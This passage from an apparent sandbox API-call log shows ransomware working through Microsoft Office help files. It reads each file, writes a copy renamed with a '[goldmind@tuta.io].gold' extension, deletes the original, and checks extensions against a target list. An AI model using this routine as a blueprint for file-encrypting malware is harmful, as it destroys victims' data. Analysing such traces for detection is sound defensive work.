(lpString="MSPUB.HXS") returned 9 [0103.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.437] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1886518) returned 1 [0103.437] CloseHandle (hObject=0x3bc) returned 1 [0103.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs")) returned 0x20 [0103.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0103.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.438] lstrlenW (lpString=".doc") returned 4 [0103.438] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.438] lstrlenW (lpString=".docx") returned 5 [0103.438] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1 [0103.438] lstrlenW (lpString=".pdf") returned 4 [0103.438] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.438] lstrlenW (lpString=".xls") returned 4 [0103.438] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.438] lstrlenW (lpString=".xlsx") returned 5 [0103.438] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1 [0103.438] lstrlenW (lpString=".ppt") returned 4 [0103.438] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.438] lstrlenW (lpString=".zip") returned 4 [0103.438] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.438] lstrlenW (lpString=".rar") returned 4 [0103.438] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.438] lstrlenW (lpString=".bz2") returned 4 [0103.438] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.438] lstrlenW (lpString=".7z") returned 3 [0103.438] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.438] lstrlenW (lpString=".dbf") returned 4 [0103.438] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.438] lstrlenW (lpString=".1cd") returned 4 [0103.438] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.438] lstrlenW (lpString=".jpg") returned 4 [0103.438] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.438] lstrlenW (lpString=".doc") returned 4 [0103.438] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.438] lstrlenW (lpString=".docx") returned 5 [0103.438] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1 [0103.438] lstrlenW (lpString=".pdf") returned 4 [0103.438] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.438] lstrlenW (lpString=".xls") returned 4 [0103.439] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.439] lstrlenW (lpString=".xlsx") returned 5 [0103.439] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1 [0103.439] lstrlenW (lpString=".ppt") returned 4 [0103.439] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.439] lstrlenW (lpString=".zip") returned 4 [0103.439] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.439] lstrlenW (lpString=".rar") returned 4 [0103.439] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.439] lstrlenW (lpString=".bz2") returned 4 [0103.439] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.439] lstrlenW (lpString=".7z") returned 3 [0103.439] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.439] lstrlenW (lpString=".dbf") returned 4 [0103.439] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.439] lstrlenW (lpString=".1cd") returned 4 [0103.439] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0103.439] lstrlenW (lpString=".jpg") returned 4 [0103.439] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.439] lstrcmpiW (lpString1=".OPG", lpString2=".gold") returned 1 [0103.439] lstrlenW (lpString="MSPUB.OPG") returned 9 [0103.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.440] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=12024) returned 1 [0103.440] CloseHandle (hObject=0x3bc) returned 1 [0103.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 0x20 [0103.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.441] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.441] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.441] GetLastError () returned 0x0 [0103.441] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x2ef8, lpOverlapped=0x0) returned 1 [0103.443] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x2f00, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x2f00, lpOverlapped=0x0) returned 1 [0103.444] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.444] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0103.444] SetEndOfFile (hFile=0x198) returned 1 [0103.444] CloseHandle (hObject=0x198) returned 1 [0103.444] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.444] SetEndOfFile (hFile=0x3bc) returned 1 [0103.446] CloseHandle (hObject=0x3bc) returned 1 [0103.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 1 [0103.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.447] lstrlenW (lpString=".doc") returned 4 [0103.447] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1 [0103.447] lstrlenW (lpString=".docx") returned 5 [0103.447] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1 [0103.447] lstrlenW (lpString=".pdf") returned 4 [0103.447] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1 [0103.447] lstrlenW (lpString=".xls") returned 4 [0103.447] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1 [0103.447] lstrlenW (lpString=".xlsx") returned 5 [0103.447] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1 [0103.447] lstrlenW (lpString=".ppt") returned 4 [0103.447] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1 [0103.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.447] lstrlenW (lpString=".zip") returned 4 [0103.447] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1 [0103.447] lstrlenW (lpString=".rar") returned 4 [0103.447] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1 [0103.447] lstrlenW (lpString=".bz2") returned 4 [0103.447] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1 [0103.447] lstrlenW (lpString=".7z") returned 3 [0103.447] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1 [0103.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.447] lstrlenW (lpString=".dbf") returned 4 [0103.447] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1 [0103.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.447] lstrlenW (lpString=".1cd") returned 4 [0103.447] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1 [0103.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.447] lstrlenW (lpString=".jpg") returned 4 [0103.447] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1 [0103.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.447] lstrlenW (lpString=".doc") returned 4 [0103.447] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1 [0103.447] lstrlenW (lpString=".docx") returned 5 [0103.447] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1 [0103.447] lstrlenW (lpString=".pdf") returned 4 [0103.447] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1 [0103.447] lstrlenW (lpString=".xls") returned 4 [0103.448] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1 [0103.448] lstrlenW (lpString=".xlsx") returned 5 [0103.448] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1 [0103.448] lstrlenW (lpString=".ppt") returned 4 [0103.448] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1 [0103.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.448] lstrlenW (lpString=".zip") returned 4 [0103.448] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1 [0103.448] lstrlenW (lpString=".rar") returned 4 [0103.448] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1 [0103.448] lstrlenW (lpString=".bz2") returned 4 [0103.448] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1 [0103.448] lstrlenW (lpString=".7z") returned 3 [0103.448] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1 [0103.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.448] lstrlenW (lpString=".dbf") returned 4 [0103.448] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1 [0103.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.448] lstrlenW (lpString=".1cd") returned 4 [0103.448] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1 [0103.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0103.448] lstrlenW (lpString=".jpg") returned 4 [0103.448] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1 [0103.448] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0103.448] lstrlenW (lpString="MSPUB_COL.HXC") returned 13 [0103.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.449] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=621) returned 1 [0103.449] CloseHandle (hObject=0x3bc) returned 1 [0103.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 0x20 [0103.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.449] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.449] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.450] GetLastError () returned 0x0 [0103.450] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x26d, lpOverlapped=0x0) returned 1 [0103.451] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x270, lpOverlapped=0x0) returned 1 [0103.452] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.452] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xee, lpOverlapped=0x0) returned 1 [0103.452] SetEndOfFile (hFile=0x198) returned 1 [0103.452] CloseHandle (hObject=0x198) returned 1 [0103.452] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.452] SetEndOfFile (hFile=0x3bc) returned 1 [0103.454] CloseHandle (hObject=0x3bc) returned 1 [0103.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 1 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString=".doc") returned 4 [0103.455] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.455] lstrlenW (lpString=".docx") returned 5 [0103.455] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.455] lstrlenW (lpString=".pdf") returned 4 [0103.455] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString=".xls") returned 4 [0103.455] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString=".xlsx") returned 5 [0103.455] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.455] lstrlenW (lpString=".ppt") returned 4 [0103.455] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString=".zip") returned 4 [0103.455] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString=".rar") returned 4 [0103.455] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString=".bz2") returned 4 [0103.455] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.455] lstrlenW (lpString=".7z") returned 3 [0103.455] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString=".dbf") returned 4 [0103.455] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString=".1cd") returned 4 [0103.455] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString=".jpg") returned 4 [0103.455] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString=".doc") returned 4 [0103.455] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.455] lstrlenW (lpString=".docx") returned 5 [0103.455] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.455] lstrlenW (lpString=".pdf") returned 4 [0103.455] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString=".xls") returned 4 [0103.455] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString=".xlsx") returned 5 [0103.455] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.455] lstrlenW (lpString=".ppt") returned 4 [0103.455] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.455] lstrlenW (lpString=".zip") returned 4 [0103.455] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString=".rar") returned 4 [0103.455] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.455] lstrlenW (lpString=".bz2") returned 4 [0103.455] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.455] lstrlenW (lpString=".7z") returned 3 [0103.456] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.456] lstrlenW (lpString=".dbf") returned 4 [0103.456] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.456] lstrlenW (lpString=".1cd") returned 4 [0103.456] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0103.456] lstrlenW (lpString=".jpg") returned 4 [0103.456] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.456] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0103.456] lstrlenW (lpString="MSPUB_COL.HXT") returned 13 [0103.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.456] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=205) returned 1 [0103.456] CloseHandle (hObject=0x3bc) returned 1 [0103.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 0x20 [0103.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.457] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.457] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.458] GetLastError () returned 0x0 [0103.458] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xcd, lpOverlapped=0x0) returned 1 [0103.459] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0103.459] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.459] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xee, lpOverlapped=0x0) returned 1 [0103.459] SetEndOfFile (hFile=0x198) returned 1 [0103.459] CloseHandle (hObject=0x198) returned 1 [0103.459] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.459] SetEndOfFile (hFile=0x3bc) returned 1 [0103.461] CloseHandle (hObject=0x3bc) returned 1 [0103.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 1 [0103.462] lstrlenW (lpString="C:\\Program Files\\Microsoft 